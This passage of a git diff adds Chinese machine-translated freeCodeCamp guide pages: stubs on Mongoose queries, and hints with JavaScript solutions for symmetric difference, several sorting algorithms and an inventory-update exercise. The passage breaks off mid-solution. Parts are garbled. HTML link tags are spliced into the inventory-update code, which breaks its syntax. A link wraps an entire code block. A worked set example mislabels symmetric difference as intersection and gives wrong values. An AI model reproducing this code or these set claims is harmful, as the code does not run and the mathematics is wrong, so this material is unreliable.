diff --git a/client/src/guide/chinese/certifications/apis-and-microservices/mongodb-and-mongoose/perform-new-updates-on-a-document-using-model.findoneandupdate/index.md b/client/src/guide/chinese/certifications/apis-and-microservices/mongodb-and-mongoose/perform-new-updates-on-a-document-using-model.findoneandupdate/index.md
new file mode 100644
index 0000000000..bcddadbbc1
--- /dev/null
+++ b/client/src/guide/chinese/certifications/apis-and-microservices/mongodb-and-mongoose/perform-new-updates-on-a-document-using-model.findoneandupdate/index.md
@@ -0,0 +1,9 @@
+---
+title: Perform New Updates on a Document Using model.findOneAndUpdate()
+localeTitle: 使用model.findOneAndUpdate（）对文档执行新更新
+---
+## 使用model.findOneAndUpdate（）对文档执行新更新
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/apis-and-microservices/mongodb-and-mongoose/perform-new-updates-on-a-document-using-model.findoneandupdate/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
\ No newline at end of file
diff --git a/client/src/guide/chinese/certifications/apis-and-microservices/mongodb-and-mongoose/use-model.find-to-search-your-database/index.md b/client/src/guide/chinese/certifications/apis-and-microservices/mongodb-and-mongoose/use-model.find-to-search-your-database/index.md
new file mode 100644
index 0000000000..32d839998c
--- /dev/null
+++ b/client/src/guide/chinese/certifications/apis-and-microservices/mongodb-and-mongoose/use-model.find-to-search-your-database/index.md
@@ -0,0 +1,9 @@
+---
+title: Use model.find() to Search Your Database
+localeTitle: 使用model.find（）搜索数据库
+---
+## 使用model.find（）搜索数据库
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/apis-and-microservices/mongodb-and-mongoose/use-model.find-to-search-your-database/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
\ No newline at end of file
diff --git a/client/src/guide/chinese/certifications/apis-and-microservices/mongodb-and-mongoose/use-model.findbyid-to-search-your-database-by-id/index.md b/client/src/guide/chinese/certifications/apis-and-microservices/mongodb-and-mongoose/use-model.findbyid-to-search-your-database-by-id/index.md
new file mode 100644
index 0000000000..0fa394bcad
--- /dev/null
+++ b/client/src/guide/chinese/certifications/apis-and-microservices/mongodb-and-mongoose/use-model.findbyid-to-search-your-database-by-id/index.md
@@ -0,0 +1,9 @@
+---
+title: Use model.findById() to Search Your Database By _id
+localeTitle: 使用model.findById（）按_id搜索数据库
+---
+## 使用model.findById（）按\_id搜索数据库
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/apis-and-microservices/mongodb-and-mongoose/use-model.findbyid-to-search-your-database-by-id/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
\ No newline at end of file
diff --git a/client/src/guide/chinese/certifications/apis-and-microservices/mongodb-and-mongoose/use-model.findone-to-return-a-single-matching-document-from-your-database/index.md b/client/src/guide/chinese/certifications/apis-and-microservices/mongodb-and-mongoose/use-model.findone-to-return-a-single-matching-document-from-your-database/index.md
new file mode 100644
index 0000000000..926037da2a
--- /dev/null
+++ b/client/src/guide/chinese/certifications/apis-and-microservices/mongodb-and-mongoose/use-model.findone-to-return-a-single-matching-document-from-your-database/index.md
@@ -0,0 +1,9 @@
+---
+title: Use model.findOne() to Return a Single Matching Document from Your Database
+localeTitle: 使用model.findOne（）从数据库中返回单个匹配文档
+---
+## 使用model.findOne（）从数据库中返回单个匹配文档
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/apis-and-microservices/mongodb-and-mongoose/use-model.findone-to-return-a-single-matching-document-from-your-database/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
\ No newline at end of file
diff --git a/client/src/guide/chinese/certifications/coding-interview-prep/algorithms/find-the-symmetric-difference/index.md b/client/src/guide/chinese/certifications/coding-interview-prep/algorithms/find-the-symmetric-difference/index.md
new file mode 100644
index 0000000000..91131d0d18
--- /dev/null
+++ b/client/src/guide/chinese/certifications/coding-interview-prep/algorithms/find-the-symmetric-difference/index.md
@@ -0,0 +1,200 @@
+---
+title: Find the Symmetric Difference
+localeTitle: 找到对称差异
+---
+![:triangular_flag_on_post:](https://forum.freecodecamp.com/images/emoji/emoji_one/triangular_flag_on_post.png?v=3 "：triangular_flag_on_post：")如果卡住，请记得使用[**`Read-Search-Ask`**](https://forum.freecodecamp.org/t/how-to-get-help-when-you-are-stuck/) 。尝试配对程序![:busts_in_silhouette:](https://forum.freecodecamp.com/images/emoji/emoji_one/busts_in_silhouette.png?v=3 "：busts_in_silhouette：")并编写自己的代码![:pencil:](https://forum.freecodecamp.com/images/emoji/emoji_one/pencil.png?v=3 "：铅笔：")
+
+### ![:checkered_flag:](https://forum.freecodecamp.com/images/emoji/emoji_one/checkered_flag.png?v=3 "：checkered_flag：")问题说明：
+
+两组的对称差异（通常用Δ表示）是在两组中的任一组中的元素集，但在两者中都不是。
+
+例如， `sym([1, 2, 3], [5, 2, 1, 4])`应该产生`[3, 4, 5]` 。
+
+根据上述定义，三组_A_ ， _B_和_C的_对称差异可表示为`(A &Delta; B) &Delta; C`
+
+#### 相关链接
+
+*   [对称差异 - 维基百科](https://en.wikipedia.org/wiki/Symmetric_difference)
+*   [对称差异 - YouTube](https://www.youtube.com/watch?v=PxffSUQRkG4)
+
+[](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Array/reduce)
+
+[## ![:speech_balloon:](https://forum.freecodecamp.com/images/emoji/emoji_one/speech_balloon.png?v=3 "：speech_balloon：")提示：1
+
+_arguments_对象是类似_Array_的对象，只继承`Array.length`属性。因此，请考虑将其转换为实际的_数组_ 。
+
+> _现在尝试解决问题_
+
+## ![:speech_balloon:](https://forum.freecodecamp.com/images/emoji/emoji_one/speech_balloon.png?v=3 "：speech_balloon：")提示：2
+
+Deem编写一个辅助函数，在每次调用时返回两个数组的对称差异，而不是试图同时区分所有集合。
+
+> _现在尝试解决问题_
+
+## ![:speech_balloon:](https://forum.freecodecamp.com/images/emoji/emoji_one/speech_balloon.png?v=3 "：speech_balloon：")提示：3
+
+对创建的arguments数组应用辅助函数，递归地逐对减少元素，以形成预期的输出。
+
+**注意** 在_奇数个集合_的情况下，对称差异将包括在所有给定集合中存在的相同元素。例如;
+```
+A = {1, 2, 3} 
+ B = {2, 3, 4} 
+ C = {3, 4, 5} 
+ 
+ (A &Intersection; B) &Intersection; C = {1, 4} &Intersection {3, 4, 5} 
+ A &Intersection; B = {1, 3, 5} 
+```
+
+> _现在尝试解决问题_
+
+## 扰流警报！
+
+![:warning:](//discourse-user-assets.s3.amazonaws.com/original/2X/2/2d6c412a50797771301e7ceabd554cef4edcd74d.gif "：警告：")
+
+**提前解决！**
+
+## ![:beginner:](https://forum.freecodecamp.com/images/emoji/emoji_one/beginner.png?v=3 "：初学者：")基本代码解决方案
+
+```javascript
+    function sym() { 
+      var args = []; 
+      for (var i = 0; i < arguments.length; i++) { 
+        args.push(arguments[i]); 
+      } 
+ 
+      function symDiff(arrayOne, arrayTwo) { 
+        var result = []; 
+ 
+        arrayOne.forEach(function(item) { 
+          if (arrayTwo.indexOf(item) < 0 && result.indexOf(item) < 0) { 
+            result.push(item); 
+          } 
+        }); 
+ 
+        arrayTwo.forEach(function(item) { 
+          if (arrayOne.indexOf(item) < 0 && result.indexOf(item) < 0) { 
+            result.push(item); 
+          } 
+        }); 
+ 
+        return result; 
+      } 
+ 
+      // Apply reduce method to args array, using the symDiff function 
+      return args.reduce(symDiff); 
+    } 
+
+```](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Array/reduce) 
+
+ [![:rocket:](https://forum.freecodecamp.com/images/emoji/emoji_one/rocket.png?v=3 "：火箭：")](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Array/reduce) [运行代码](https://repl.it/C4II/0)
+
+### 代码说明：
+
+*   `push()`用于将_arguments_对象分解为数组_args_ 。
+*   `symDiff`函数查找两个集合之间的对称差异。它用作_args上_调用的`reduce()`方法的回调函数。
+*   `arrayOne.forEach()`将元素推送到_结果_ ，这些元素仅存在于_arrayOne中_ ，并且还不是_结果_的一部分。
+*   `arrayTwo.forEach()`将元素推送到_结果中_ ，这些元素仅存在于_arrayTwo中_ ，并且还不是_结果_的一部分。
+*   返回_结果_ ，即对称差异。此解决方案适用于任意数量的集合。
+
+#### 相关链接
+
+*   [JavaScript for](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/statements/for)
+*   [JavaScript Array.length](https://developer.mozilla.org/en/docs/Web/JavaScript/Reference/Global_Objects/Array/length)
+*   [JavaScript Array.prototype.push（）](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Array/push)
+*   [JavaScript Array.prototype.forEach（）](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Array/forEach)
+*   [JavaScript Array.prototype.indexOf（）](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Array/indexOf)
+
+## ![:sunflower:](https://forum.freecodecamp.com/images/emoji/emoji_one/sunflower.png?v=3 "：向日葵：")中级代码解决方案：
+
+```javascript
+    function sym() { 
+ 
+      // Convert the argument object into a proper array 
+      var args = Array.prototype.slice.call(arguments); 
+ 
+      // Return the symmetric difference of 2 arrays 
+      var getDiff = function(arr1, arr2) { 
+ 
+        // Returns items in arr1 that don't exist in arr2 
+        function filterFunction(arr1, arr2) { 
+          return arr1.filter(function(item) { 
+            return arr2.indexOf(item) === -1; 
+          }); 
+        } 
+ 
+        // Run filter function on each array against the other 
+        return filterFunction(arr1, arr2) 
+          .concat(filterFunction(arr2, arr1)); 
+      }; 
+ 
+      // Reduce all arguments getting the difference of them 
+      var summary = args.reduce(getDiff, []); 
+ 
+      // Run filter function to get the unique values 
+      var unique = summary.filter(function(elem, index, self) { 
+        return index === self.indexOf(elem); 
+        }); 
+      return unique; 
+    } 
+ 
+    // test here 
+    sym([1, 2, 3], [5, 2, 1, 4]); 
+```
+
+![:rocket:](https://forum.freecodecamp.com/images/emoji/emoji_one/rocket.png?v=3 "：火箭：") [运行代码](https://repl.it/CLoc/0)
+
+### 代码说明：
+
+*   `slice()`方法用于将_arguments_对象分解为数组_args_ 。
+*   `getDiff`函数查找两个集合_arr1_和_arr2_之间的对称差异。它用作_args上_调用的`reduce()`方法的回调函数。
+*   第一个`filterFunction()`返回_arr1_中_arr2中_不存在的元素。
+*   下一个`filterFunction()`在每个数组`filterFunction()`对于另一个运行，以检查第一次检查唯一性的反转并连接它。
+*   _摘要_包含减少的参数。
+*   `filter()`用在_总结_只保留唯一值，并返回_唯一的_ 。
+
+#### 相关链接
+
+*   [JavaScript Array.prototype.slice（）](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Array/slice)
+*   [JavaScript Array.prototype.filter（）](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Array/filter)
+*   [JavaScript Array.prototype.concat（）](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Array/concat)
+
+## ![:rotating_light:](https://forum.freecodecamp.com/images/emoji/emoji_one/rotating_light.png?v=3 "：rotating_light：")高级代码解决方案
+
+```javascript
+    function sym() { 
+      let argv = Array.from(arguments).reduce(diffArray); 
+      return argv.filter((element, index, array) => index === array.indexOf(element));//remove duplicates 
+    } 
+ 
+    function diffArray(arr1, arr2) { 
+      return arr1 
+        .filter(element => !arr2.includes(element)) 
+        .concat(arr2.filter(element => !arr1.includes(element))); 
+    } 
+ 
+    // test here 
+    sym([1, 2, 3], [5, 2, 1, 4]); 
+```
+
+![:rocket:](https://forum.freecodecamp.com/images/emoji/emoji_one/rocket.png?v=3 "：火箭：") [运行代码](https://repl.it/@ashenm/Symmetric-Difference)
+
+### 代码说明：
+
+*   主函数_sym（）_从_参数_创建一个数组，并使用辅助函数_diffArray（）_将其元素_简化_为单个数组。
+    
+*   函数_diffArray（）_通过挑选参数化数组中的唯一元素来返回两个数组的对称差异; _arr1_和_arr2_ 。
+    
+
+#### 相关链接
+
+*   [JavaScript Array.from（）](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Array/from)
+*   [JavaScript Array.prototype.filter（）](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Array/filter)
+
+## ![:clipboard:](https://forum.freecodecamp.com/images/emoji/emoji_one/clipboard.png?v=3 "：剪贴板：")捐款说明：
+
+*   ![:warning:](https://forum.freecodecamp.com/images/emoji/emoji_one/warning.png?v=3 "：警告：") **请勿**添加与任何现有解决方案类似的解决方案。如果您认为它**_相似但更好_** ，那么尝试合并（或替换）现有的类似解决方案。
+*   添加解决方案的说明。
+*   将解决方案分为以下类别之一 - **基本** ， **中级**和**高级** 。 ![:traffic_light:](https://forum.freecodecamp.com/images/emoji/emoji_one/traffic_light.png?v=3 "：红绿灯：")
+*   如果您添加了任何**相关的主要内容，**请仅添加您的用户名。 （ ![:warning:](https://forum.freecodecamp.com/images/emoji/emoji_one/warning.png?v=3 "：警告：") **_不要_** _删除任何现有的用户名_ ）
+
+> 看到![:point_right:](https://forum.freecodecamp.com/images/emoji/emoji_one/point_right.png?v=3 "：point_right：") [**`Wiki Challenge Solution Template`**](http://forum.freecodecamp.com/t/algorithm-article-template/14272)供参考。
\ No newline at end of file
diff --git a/client/src/guide/chinese/certifications/coding-interview-prep/algorithms/implement-bubble-sort/index.md b/client/src/guide/chinese/certifications/coding-interview-prep/algorithms/implement-bubble-sort/index.md
new file mode 100644
index 0000000000..9be61c0866
--- /dev/null
+++ b/client/src/guide/chinese/certifications/coding-interview-prep/algorithms/implement-bubble-sort/index.md
@@ -0,0 +1,49 @@
+---
+title: Implement Bubble Sort
+localeTitle: 实施冒泡排序
+---
+## 实施冒泡排序
+
+### 方法：
+
+*   冒泡排序是一种排序算法，它将每个过程结束时最大数字排序或_冒泡_作为最后一个元素。
+*   我们将每个元素与前面的元素进行比较，如果之前的元素较小，我们交换它们的位置。
+*   冒泡排序的时间复杂度为**O（n 2 ）** 。
+*   这是一个**稳定的**算法。
+*   ![泡泡排序在行动](https://upload.wikimedia.org/wikipedia/commons/c/c8/Bubble-sort-example-300px.gif)
+
+### 解：
+
+#### 解决方案1：基本
+
+```js
+function swap(a, b, arr){ 
+  let tmp = arr[a]; 
+  arr[a] = arr[b]; 
+  arr[b] = tmp; 
+ } 
+ function bubbleSort(array) { 
+  for (let i = 0; i < array.length; i++){ 
+    for (let j = 0; j < array.length-1-i; j++){ // -i because the largest element will be bubbled at the end so we don't have to compare. 
+      if (array[j] > array[j+1]){ 
+        swap(j, j+1, array); 
+      } 
+    } 
+  } 
+  return array; 
+ } 
+```
+
+#### 解决方案2：高级
+
+`js function bubbleSort(array) { for (let i = 0; i < array.length; i++){ for (let j = 0; j < array.length-1-i; j++){ if (array[j] > array[j+1]) [array[j], array[j+1]] = [array[j+1], array[j]]; // Using ES6 array destructuring to swap } } return array; }`
+
+*   [运行代码](https://repl.it/@ezioda004/Bubble-Sort)
+    
+    ### 参考文献：
+    
+*   [GeeksForGeeks](https://www.geeksforgeeks.org/bubble-sort/)
+    
+*   [维基百科](https://en.wikipedia.org/wiki/Bubble_sort)
+    
+*   视频来自[HackerRank](https://www.youtube.com/watch?v=6Gv8vg0kcHc)
\ No newline at end of file
diff --git a/client/src/guide/chinese/certifications/coding-interview-prep/algorithms/implement-insertion-sort/index.md b/client/src/guide/chinese/certifications/coding-interview-prep/algorithms/implement-insertion-sort/index.md
new file mode 100644
index 0000000000..c55cd59b6a
--- /dev/null
+++ b/client/src/guide/chinese/certifications/coding-interview-prep/algorithms/implement-insertion-sort/index.md
@@ -0,0 +1,40 @@
+---
+title: Implement Insertion Sort
+localeTitle: 实现插入排序
+---
+## 实现插入排序
+
+### 方法：
+
+*   插入排序假定数组分为两部分：
+
+1.  排序（最初是第一个元素）
+2.  未分类
+
+*   每次传递，我们选择一个元素，并根据排序的数组进行检查。
+*   如果所选元素小于已排序数组的最后一个元素，那么我们将排序数组移1，直到找到要_插入_所选元素的点。
+*   ![插入排序在行动中](https://upload.wikimedia.org/wikipedia/commons/0/0f/Insertion-sort-example-300px.gif) - [来源](https://en.wikipedia.org/wiki/Insertion_sort)
+*   插入排序的时间复杂度为**O（n 2 ）** 。
+*   这是一个**稳定的**算法。
+
+### 解：
+
+```js
+function insertionSort(array) { 
+  for (let i = 1; i < array.length; i++){ 
+    let curr = array[i]; 
+    for (var j = i-1; j >= 0 && array[j] > curr; j--){ 
+      array[j+1] = array[j]; 
+    } 
+    array[j+1] = curr; 
+  } 
+  return array; 
+ } 
+```
+
+*   [运行代码](https://repl.it/@ezioda004/Insertion-Sort)
+
+### 参考文献：
+
+*   [维基百科](https://en.wikipedia.org/wiki/Insertion_sort)
+*   [可汗学院](https://www.youtube.com/watch?v=lCzQvQr8Utw)
\ No newline at end of file
diff --git a/client/src/guide/chinese/certifications/coding-interview-prep/algorithms/implement-merge-sort/index.md b/client/src/guide/chinese/certifications/coding-interview-prep/algorithms/implement-merge-sort/index.md
new file mode 100644
index 0000000000..df8796af8d
--- /dev/null
+++ b/client/src/guide/chinese/certifications/coding-interview-prep/algorithms/implement-merge-sort/index.md
@@ -0,0 +1,56 @@
+---
+title: Implement Merge Sort
+localeTitle: 实现合并排序
+---
+## 实现合并排序
+
+### 方法：
+
+*   合并排序是一个经典的分而治之的问题。
+*   涉及以下步骤：
+*   除以：我们使用recusion从中间打破数组，直到我们留下1个元素。
+*   征服：然后我们对这些小数组进行排序。
+*   组合：最后，我们将这些小数组合并为一个排序数组并继续执行直到我们组合所有数组。
+*   Merge Sort的时间复杂度为**O（nlogn）** 。
+*   Merge Sort的空间复杂度为**O（n）** 。
+*   这是一个**稳定的**算法。
+*   ![合并排序操作](https://upload.wikimedia.org/wikipedia/commons/c/cc/Merge-sort-example-300px.gif)
+
+### 解：
+
+```js
+//Merger function, which merges 2 sorted array into 1 sorted array 
+ function merger(arr1, arr2){ 
+  let i = 0, j = 0, mergedArr = []; 
+  while (i < arr1.length && j < arr2.length){ 
+    if (arr1[i] > arr2[j]) mergedArr.push(arr2[j++]); 
+    else mergedArr.push(arr1[i++]); 
+  } 
+  while (i < arr1.length){ 
+    mergedArr.push(arr1[i++]); 
+  } 
+  while (j < arr2.length){ 
+    mergedArr.push(arr2[j++]); 
+  } 
+  return mergedArr; 
+ } 
+ function mergeSort(array) { 
+  //Array of length 1 is sorted so we return the same array back 
+  if (array.length == 1) return array; 
+ 
+  //Break down the array to half from middle into left and right 
+  let middle = Math.floor(array.length/2); 
+  let left = mergeSort(array.slice(0, middle)); 
+  let right = mergeSort(array.slice(middle)); 
+ 
+  //Return the merged sorted array 
+  return merger(left, right); 
+ } 
+```
+
+*   [运行代码](https://repl.it/@ezioda004/Merge-Sort)
+
+### 参考文献：
+
+*   [维基百科](https://en.wikipedia.org/wiki/Merge_sort)
+*   [Hackerrank的](https://www.youtube.com/watch?v=KF2j-9iSf4Q)视频
\ No newline at end of file
diff --git a/client/src/guide/chinese/certifications/coding-interview-prep/algorithms/implement-quick-sort/index.md b/client/src/guide/chinese/certifications/coding-interview-prep/algorithms/implement-quick-sort/index.md
new file mode 100644
index 0000000000..d26da7c37e
--- /dev/null
+++ b/client/src/guide/chinese/certifications/coding-interview-prep/algorithms/implement-quick-sort/index.md
@@ -0,0 +1,56 @@
+---
+title: Implement Quick Sort
+localeTitle: 实施快速排序
+---
+## 实施快速排序
+
+### 方法：
+
+*   快速排序是一种有效的排序算法。它是一种就地算法，因此它不需要任何辅助空间。
+*   首先选择一个随机的枢轴点，将所有较小的元素移动到它的左边，将更大的元素移动到它的右边。
+*   在获得该实际上是该元素的固定位置的pivotIndex之后，我们通过重新调用此函数找到其他pivotIndex。
+*   快速排序的最坏情况是**O（n 2 ）**但是如果我们选择随机枢轴点就可以避免这种情况，因此它的大O是**O（nlogn）** 。
+*   它的空间复杂度是**O（logn）** 。
+*   这是一个**不稳定的**算法。
+*   ![快速排序行动](https://upload.wikimedia.org/wikipedia/commons/6/6a/Sorting_quicksort_anim.gif)
+
+### 解：
+
+```js
+//Swapping array elements via ES6 array destructuring 
+ function swap(arr, x, y){ 
+  [arr[x], arr[y]] = [arr[y], arr[x]]; 
+ } 
+ 
+ //Pivot function returns the fixed pivot point 
+ function pivot(arr, left = 0, right = arr.length-1){ 
+  let shift = left; 
+  for (let i = left+1; i <= right; i++){ 
+ 
+    //Move all the small elements on the left side 
+    if (arr[i] < arr[left]) swap(arr, i, ++shift); 
+  } 
+ 
+  //Finally swapping the last element with the left 
+  swap(arr, left, shift); 
+  return shift; 
+ } 
+ 
+ function quickSort(array, left = 0, right = array.length-1) { 
+  if (left < right){ 
+    let pivotIndex = pivot(array, left, right); 
+ 
+    //Recusrively calling the function to the left of the pivot and to the right of the pivot 
+    quickSort(array, left, pivotIndex-1); 
+    quickSort(array, pivotIndex+1, right); 
+  } 
+  return array; 
+ } 
+```
+
+*   [运行代码](https://repl.it/@ezioda004/Quick-Sort)
+
+### 参考：
+
+*   [维基百科](https://en.wikipedia.org/wiki/Quicksort)
+*   [可汗学院](https://www.khanacademy.org/computing/computer-science/algorithms/quick-sort/a/overview-of-quicksort)
\ No newline at end of file
diff --git a/client/src/guide/chinese/certifications/coding-interview-prep/algorithms/implement-selection-sort/index.md b/client/src/guide/chinese/certifications/coding-interview-prep/algorithms/implement-selection-sort/index.md
new file mode 100644
index 0000000000..513d1d96ca
--- /dev/null
+++ b/client/src/guide/chinese/certifications/coding-interview-prep/algorithms/implement-selection-sort/index.md
@@ -0,0 +1,41 @@
+---
+title: Implement Selection Sort
+localeTitle: 实施选择排序
+---
+## 实施选择排序
+
+### 方法：
+
+*   Selection Sort是理解和实现的更简单的排序算法之一。
+*   该算法将数组分为两部分：
+
+1.  排序
+2.  未分类
+
+*   Sorted部分位于数组的开头，之后是Unsorted部分。
+*   每次传递，最初我们假设第一个元素是最小的，然后我们遍历整个数组并_选择_最小的元素。在传递结束时，我们将最小元素交换到排序数组。
+*   它具有**O（n 2 ）**时间复杂度。
+
+### 解：
+
+```js
+function swap(a, b, arr){ 
+  let tmp = arr[a]; 
+  arr[a] = arr[b]; 
+  arr[b] = tmp; 
+ } 
+ function selectionSort(array) { 
+  for (let i = 0; i < array.length-1; i++){ 
+    let min = i; 
+    for (let j = i+1; j < array.length; j++){ 
+      if (array[min] > array[j]) min = j; 
+    } 
+    swap(i, min, array); 
+  } 
+  return array; 
+ } 
+```
+
+### 参考文献：
+
+*   阅读[维基百科的](https://en.wikipedia.org/wiki/Selection_sort)选择排序
\ No newline at end of file
diff --git a/client/src/guide/chinese/certifications/coding-interview-prep/algorithms/index.md b/client/src/guide/chinese/certifications/coding-interview-prep/algorithms/index.md
new file mode 100644
index 0000000000..95241ce2c0
--- /dev/null
+++ b/client/src/guide/chinese/certifications/coding-interview-prep/algorithms/index.md
@@ -0,0 +1,11 @@
+---
+title: Algorithms
+localeTitle: 算法
+---
+## 算法
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/mathematics/quadratic-equations/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
+
+#### 更多信息：
\ No newline at end of file
diff --git a/client/src/guide/chinese/certifications/coding-interview-prep/algorithms/inventory-update/index.md b/client/src/guide/chinese/certifications/coding-interview-prep/algorithms/inventory-update/index.md
new file mode 100644
index 0000000000..af2d6408d2
--- /dev/null
+++ b/client/src/guide/chinese/certifications/coding-interview-prep/algorithms/inventory-update/index.md
@@ -0,0 +1,294 @@
+---
+title: Inventory Update
+localeTitle: 库存更新
+---
+![:triangular_flag_on_post:](https://forum.freecodecamp.com/images/emoji/emoji_one/triangular_flag_on_post.png?v=3 "：triangular_flag_on_post：")如果卡住，请记得使用**`Read-Search-Ask`** 。尝试配对程序![:busts_in_silhouette:](https://forum.freecodecamp.com/images/emoji/emoji_one/busts_in_silhouette.png?v=3 "：busts_in_silhouette：")并编写自己的代码![:pencil:](https://forum.freecodecamp.com/images/emoji/emoji_one/pencil.png?v=3 "：铅笔：")
+
+### ![:checkered_flag:](https://forum.freecodecamp.com/images/emoji/emoji_one/checkered_flag.png?v=3 "：checkered_flag：")问题说明：
+
+在这个问题中，您需要将存储在2D阵列中的库存与新交付的第二个2D阵列进行比较和更新。更新当前现有库存物料数量（在`arr1` ）。如果找不到商品，请将新商品和数量添加到库存数组中。返回的库存数组应按项目的字母顺序排列。
+
+当前和新的库存将采用以下格式： `[[2, "item-0"], [3, "item-1"], [67, "item-2"], [7, "item-3"]]` 。
+
+#### 相关链接
+
+*   [JS阵列](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Array)
+
+## ![:speech_balloon:](https://forum.freecodecamp.com/images/emoji/emoji_one/speech_balloon.png?v=3 "：speech_balloon：")提示：1
+
+您需要处理新库存的每个项目，以查看它是否存在于当前库存中。请记住，产品名称存储为每个子数组的第二个元素： `array[0][1] = "item-name"` 。
+
+> _现在尝试解决问题_
+
+## ![:speech_balloon:](https://forum.freecodecamp.com/images/emoji/emoji_one/speech_balloon.png?v=3 "：speech_balloon：")提示：2
+
+如果该项目存在，则需要添加新库存中的数量。如果该项目不存在，则需要添加整个项目。
+
+> _现在尝试解决问题_
+
+## ![:speech_balloon:](https://forum.freecodecamp.com/images/emoji/emoji_one/speech_balloon.png?v=3 "：speech_balloon：")提示：3
+
+按字母顺序返回已完成的库存。
+
+> _现在尝试解决问题_
+
+## 扰流警报！
+
+![警告牌](//discourse-user-assets.s3.amazonaws.com/original/2X/2/2d6c412a50797771301e7ceabd554cef4edcd74d.gif)
+
+**提前解决！**
+
+## ![:beginner:](https://forum.freecodecamp.com/images/emoji/emoji_one/beginner.png?v=3 "：初学者：")基本代码解决方案
+
+```javascript
+    function updateInventory(arr1, arr2) { 
+ 
+        // Variable for location of product 
+        var index; 
+ 
+        // A helper method to return the index of a specified product (undefined if not found) 
+        var getProductIndex = function (name) { 
+            for (var i = 0; i < this.length; i++) { 
+                if (this<a href='https://forum.freecodecamp.com/images/emoji/emoji_one/rocket.png?v=3 ":rocket:"' target='_blank' rel='nofollow'>i][1] === name) { 
+                    return i; 
+                } 
+            } 
+            return undefined; 
+        } 
+ 
+        // For each item of the new Inventory 
+        for (var i = 0; i < arr2.length; i++) { 
+ 
+            // Invoke our helper function using arr1 as this 
+            index = getProductIndex.call(arr1, arr2[i][1]); 
+ 
+            // If the item doesn't exist 
+            if (index === undefined) { 
+                // Push the entire item 
+                arr1.push(arr2[i]); 
+            } else { 
+                // Add the new quantity of the current item 
+                arr1[index][0] += arr2[i][0]; 
+            } 
+ 
+        } 
+ 
+        // Sort alphabetically, by the product name of each item 
+        arr1.sort(function (a, b) { 
+            if (a[1] > b[1]) { 
+                return 1; 
+            } 
+            if (a[1] < b[1]) { 
+                return -1; 
+            } 
+            return 0; 
+        }); 
+ 
+        return arr1; 
+    } 
+ 
+    // test here 
+    // Example inventory lists 
+    var curInv = [ 
+        [21, "Bowling Ball"], 
+        [2, "Dirty Sock"], 
+        [1, "Hair Pin"], 
+        [5, "Microphone"] 
+    ]; 
+ 
+    var newInv = [ 
+        [2, "Hair Pin"], 
+        [3, "Half-Eaten Apple"], 
+        [67, "Bowling Ball"], 
+        [7, "Toothpaste"] 
+    ]; 
+ 
+    updateInventory(curInv, newInv); 
+```
+
+![:rocket:](https://forum.freecodecamp.com/images/emoji/emoji_one/rocket.png?v=3 "：火箭：") [运行代码](https://repl.it/CLok/0)
+
+### 代码说明：
+
+*   变量**索引**存储产品的位置（索引）。
+*   辅助函数`getProductIndex()`返回指定产品的索引。它遍历调用它的数组的每个元素，直到它可以找到name参数。如果在清单中找不到产品，则返回`undefined` 。
+*   然后，新库存（交货）中的每个项目都通过以下方式完成：
+*   **index**设置为调用辅助函数的结果，即在新库存中搜索该产品名称并返回其索引。
+*   如果找到该项目，则将产品数量添加到当前库存中相同产品的数量。
+*   如果未找到该项目，则会将整个产品（名称和数量）添加到当前库存中。
+*   然后，更新的库存**arr1**按产品名称排序（保存在`arr1[x][1]` ）。
+*   然后返回最终更新和排序的数组。
+
+#### 相关链接
+
+*   [JS这个](https://developer.mozilla.org/en/docs/Web/JavaScript/Reference/Operators/this)
+*   [JS Array.length](https://developer.mozilla.org/en/docs/Web/JavaScript/Reference/Global_Objects/Array/length)
+*   [JS Array.prototype.push（）](http://forum.freecodecamp.com/t/javascript-array-prototype-push/14298)
+*   [JS Array.prototype.sort（）](http://forum.freecodecamp.com/t/javascript-array-prototype-sort/14306)
+
+## ![:sunflower:](https://forum.freecodecamp.com/images/emoji/emoji_one/sunflower.png?v=3 "：向日葵：")中级代码解决方案：
+
+```javascript
+    function updateInventory(arr1, arr2) { 
+      // All inventory must be accounted for or you're fired! 
+ 
+      var index; 
+      var arrCurInvName = <a href='https://forum.freecodecamp.com/images/emoji/emoji_one/rocket.png?v=3 ":rocket:"' target='_blank' rel='nofollow'>]; // Names of arr1's items 
+      var arrNeInvName = []; // Names of arr2's items 
+ 
+      // Same as using two for loops, this takes care of increasing the number of stock quantity. 
+      arr1.map(function(item1) { 
+        return arr2.map(function(item2) { 
+          if (item1[1] === item2[1]) { 
+            item1[0] = item1[0] + item2[0]; //Increase number of stock 
+          } 
+        }); 
+      }); 
+ 
+      // Get item's name for new Inventory 
+      arr2.map(function(item) { 
